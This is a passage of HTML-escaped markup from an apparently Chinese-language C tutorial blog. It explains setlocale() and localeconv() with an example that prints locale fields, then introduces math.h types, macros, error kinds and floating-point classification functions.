class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *loc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eloc = setlocale(LC_ALL, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Starting locale: C\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Starting locale: %s\\n\u0026#34;\u003c/span\u003e, loc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eloc = setlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 Native locale: en_US.UTF-8 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Native locale: %s\\n\u0026#34;\u003c/span\u003e, loc);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"localeconv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#localeconv\" class=\"headerlink\" title=\"localeconv()\"\u003e\u003c/a\u003elocaleconv()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003elocaleconv()\u003c/code\u003e用来获取当前格式的详细信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e lconv* \u003cspan class=\"title function_\"\u003elocaleconv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数返回一个 Struct 结构指针,该结构里面包含了格式信息,它的主要属性如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003echar* mon_decimal_point:货币的十进制小数点字符,比如\u003ccode\u003e.\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* mon_thousands_sep:货币的千位分隔符,比如\u003ccode\u003e,\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* mon_grouping:货币的分组描述符。\u003c/li\u003e\u003cli\u003echar* positive_sign:货币的正值符号,比如\u003ccode\u003e+\u003c/code\u003e或为空字符串。\u003c/li\u003e\u003cli\u003echar* negative_sign:货币的负值符号,比如\u003ccode\u003e-\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* currency_symbol:货币符号,比如\u003ccode\u003e$\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar frac_digits:打印货币金额时,十进制小数点后面输出几位小数,比如设为\u003ccode\u003e2\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar p_cs_precedes:设为\u003ccode\u003e1\u003c/code\u003e时,货币符号\u003ccode\u003ecurrency_symbol\u003c/code\u003e出现在非负金额前面。设为\u003ccode\u003e0\u003c/code\u003e时,出现在后面。\u003c/li\u003e\u003cli\u003echar n_cs_precedes:设为\u003ccode\u003e1\u003c/code\u003e时,货币符号\u003ccode\u003ecurrency_symbol\u003c/code\u003e出现在负的货币金额前面。设为\u003ccode\u003e0\u003c/code\u003e时,出现在后面。\u003c/li\u003e\u003cli\u003echar p_sep_by_space:决定了非负的货币金额与货币符号之间的分隔字符。\u003c/li\u003e\u003cli\u003echar n_sep_by_space:决定了负的货币金额与货币符号之间的分隔字符。\u003c/li\u003e\u003cli\u003echar p_sign_posn:决定了非负值的正值符号的位置。\u003c/li\u003e\u003cli\u003echar n_sign_posn:决定了负值的负值符号的位置。\u003c/li\u003e\u003cli\u003echar* int_curr_symbol:货币的国际符号,比如\u003ccode\u003eUSD\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar int_frac_digits:使用国际符号时,\u003ccode\u003efrac_digits\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_cs_precedes:使用国际符号时,\u003ccode\u003ep_cs_precedes\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_cs_precedes:使用国际符号时,\u003ccode\u003en_cs_precedes\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_sep_by_space:使用国际符号时,\u003ccode\u003ep_sep_by_space\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_sep_by_space:使用国际符号时,\u003ccode\u003en_sep_by_space\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_sign_posn:使用国际符号时,\u003ccode\u003ep_sign_posn\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_sign_posn:使用国际符号时,\u003ccode\u003en_sign_posn\u003c/code\u003e的值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面程序打印当前系统的属性值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;locale.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e \u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setlocale (LC_ALL,\u003cspan class=\"string\"\u003e\u0026#34;zh_CN\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003elconv\u003c/span\u003e * \u003cspan class=\"title\"\u003elc\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e lc=localeconv();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;decimal_point: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;decimal_point);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;thousands_sep: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;thousands_sep);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;grouping: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;grouping);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_curr_symbol: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_curr_symbol);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;currency_symbol: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;currency_symbol);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_decimal_point: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_decimal_point);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_thousands_sep: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_thousands_sep);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_grouping: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_grouping);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;positive_sign: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;positive_sign);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;negative_sign: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;negative_sign);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;frac_digits: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;frac_digits);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_frac_digits: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_frac_digits);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"math-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#math-h\" class=\"headerlink\" title=\"math.h\"\u003e\u003c/a\u003emath.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003emath.h\u003c/code\u003e头文件提供了很多数学函数。\u003c/p\u003e\u003cp\u003e很多数学函数的返回值是 double 类型,但是同时提供 float 类型与 long double 类型的版本,比如\u003ccode\u003epow()\u003c/code\u003e函数就还有\u003ccode\u003epowf()\u003c/code\u003e和\u003ccode\u003epowl()\u003c/code\u003e版本。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003epow\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003epowf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x, \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003epowl\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为了简洁,下面就略去了函数的\u003ccode\u003ef\u003c/code\u003e后缀(float 类型)和\u003ccode\u003el\u003c/code\u003e后缀(long double)版本。\u003c/p\u003e\u003ch3 id=\"类型和宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%AE%8F\" class=\"headerlink\" title=\"类型和宏\"\u003e\u003c/a\u003e类型和宏\u003c/h3\u003e\u003cp\u003emath.h 新定义了两个类型别名。\u003c/p\u003e\u003cul\u003e\u003cli\u003efloat_t:(当前系统)最有效执行 float 运算的类型,宽度至少与 float 一样。\u003c/li\u003e\u003cli\u003edouble_t`:(当前系统)最有效执行 double 运算的类型,宽度至少与 double 一样。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的具体类型可以通过宏\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e来了解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eFLT_EVAL_METHOD 的值\u003c/th\u003e\u003cth\u003efloat_t 对应的类型\u003c/th\u003e\u003cth\u003edouble_t 对应的类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003efloat\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003elong double\u003c/td\u003e\u003ctd\u003elong double\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e其他\u003c/td\u003e\u003ctd\u003e由实现决定\u003c/td\u003e\u003ctd\u003e由实现决定\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003emath.h 还定义了一些宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eINFINITY\u003c/code\u003e:表示正无穷,返回一个 float 类型的值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eNAN\u003c/code\u003e:表示非数字(Not-A-Number),返回一个 float 类型的值。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"错误类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%94%99%E8%AF%AF%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"错误类型\"\u003e\u003c/a\u003e错误类型\u003c/h3\u003e\u003cp\u003e数学函数的报错有以下类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eRange errors:运算结果不能用函数返回类型表示。\u003c/li\u003e\u003cli\u003eDomain errors:函数参数不适用当前函数。\u003c/li\u003e\u003cli\u003ePole errors:参数导致函数的极限值变成无限。\u003c/li\u003e\u003cli\u003eOverflow errors:运算结果太大,导致溢出。\u003c/li\u003e\u003cli\u003eUnderflow errors:运算结果太小,导致溢出。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e变量\u003ccode\u003emath_errhandling\u003c/code\u003e提示了当前系统如何处理数学运算错误。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003emath_errhandling 的值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERRNO\u003c/td\u003e\u003ctd\u003e系统使用 errno 表示数学错误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERREXCEPT\u003c/td\u003e\u003ctd\u003e系统使用异常表示数学错误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERRNO\u003c/td\u003e\u003ctd\u003eMATH_ERREXCEPT\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"数值类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E5%80%BC%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"数值类型\"\u003e\u003c/a\u003e数值类型\u003c/h3\u003e\u003cp\u003e数学函数的参数可以分成以下几类:正常值,无限值,有限值和非数字。\u003c/p\u003e\u003cp\u003e下面的函数用来判断一个值的类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003efpclassify():返回给定浮点数的分类。\u003c/li\u003e\u003cli\u003eisfinite():如果参数不是无限或 NaN,则为真。\u003c/li\u003e\u003cli\u003eisinf():如果参数是无限的,则为真。\u003c/li\u003e\u003cli\u003eisnan():如果参数不是数字,则为真。\u003c/li\u003e\u003cli\u003eisnormal():如果参数是正常数字,则为真。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisfinite(\u003cspan class=\"number\"\u003e1.23\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisinf(\u003cspan class=\"number\"\u003e1\u003c/span\u003e/\u003cspan class=\"built_in\"\u003etan\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisnan(\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisnormal(\u003cspan class=\"number\"\u003e1e-310\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"signbit\"\u003e\u003ca 